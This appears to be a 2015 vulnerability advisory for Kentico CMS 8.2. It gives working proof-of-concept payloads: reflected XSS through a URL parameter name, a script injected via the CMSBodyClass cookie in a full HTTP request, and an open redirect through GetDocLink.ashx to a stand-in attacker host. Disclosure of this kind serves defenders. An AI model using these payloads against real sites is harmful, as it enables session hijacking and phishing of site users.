what you don't know can hurt you

Kentico CMS 8.2 Cross Site Scripting / Open Redirect

Kentico CMS 8.2 Cross Site Scripting / Open Redirect
Posted Oct 15, 2015
Authored by KINGSABRI

Kentico CMS version 8.2 suffers from cross site scripting and open redirection vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2015-7822, CVE-2015-7823
MD5 | 898518fbe55bb0b70d24ce7c2315e892

Kentico CMS 8.2 Cross Site Scripting / Open Redirect

Change Mirror Download
Web application Kentico CMS 8.2 XSS / Open Redirection

The *CVE-2015-7823* reference is still waiting my disclosure.
The exploit works on *8.2* to *8.2.41*

I've contacted the vendor and he fixed the vulnerability in the next major
version



*Vulnerability type:* Reflected XSS (High)
The *elementguid *variable is vulnerable to Reflected XSS. The parameter
value encodes the special characters but the parameter name is not so I
made the payload act as parameter name.

*PoC:*

http://172.16.16.136
/Kentico82/CMSModules/AdminControls/Pages/UIPage.aspx?elementguid=43ea4f2b-
554e-40f3-a602-90ef5e1e1d4f&"><img src%3Dx
onerror%3Dalert(unescape(`%2540%254B%2549%254E%2547%2553%2541%2542%2552%2549`))
%3D>=w00t




*Vulnerability type:* Reflected XSS (Medium)
The *CMSBodyClass* cookie variable. Intercept with proxy then inject the
payload "><script>alert('@KINGSABRI')</script>
*PoC:*

GET /Kentico82/?viewmode=livesite HTTP/1.1
Host: 172.16.16.136
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)
Connection: close
Referer: http://172.16.16.136/Kentico82/Admin/CMSAdministration.aspx?username=administrator
Cookie: ASP.NET_SessionId=kobazkqekmwdeyhwtt4fcfed;
CMSCookieLevel=1000; CMSPreferredUICulture=en-US;
.ASPXFORMSAUTH=400E1E790B524F80A31B06187AFD143B3B3B24FC4D745185CFAA314B433F3417485CD352543B86B88D21DC322D724F8613F60EF6174C08826D9B3043DB8671EAFB9C146A5AF645EF65DB9ABB4BA9BD117698715E4D888C9C4F8060C9A3DFB5D6;
CMSPreferredCulture=en-US;
CMSBodyClass=SSSS"><script>alert('@KINGSABRI')</script>SSSS





*Vulnerability type:* Open Redirect (Low)
The *GetDocLink.ashx * with *link* variable is vulnerable to open redirect
vulnerability
*PoC:*

http://172.16.16.136/Kentico82/CMSPages/GetDocLink.ashx?link=http://attacker.zone

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